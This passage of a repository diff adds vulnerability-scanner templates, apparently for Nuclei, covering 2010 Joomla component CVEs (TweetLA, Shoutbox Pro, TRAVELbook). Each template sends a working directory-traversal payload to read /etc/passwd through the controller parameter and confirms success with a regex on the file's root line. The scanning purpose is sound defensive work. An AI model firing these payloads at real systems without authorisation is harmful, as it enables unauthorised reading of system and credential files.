tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1534.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1534
info:
name: Joomla! Component Shoutbox Pro - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Shoutbox Pro (com_shoutbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12067
- https://www.cvedetails.com/cve/CVE-2010-1534
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1535.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1535
info:
name: Joomla! Component TRAVELbook 1.0.1 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the TRAVELbook (com_travelbook) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12151
- https://www.cvedetails.com/cve/CVE-2010-1535
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

Some files were not shown because too many files have changed in this diff Show More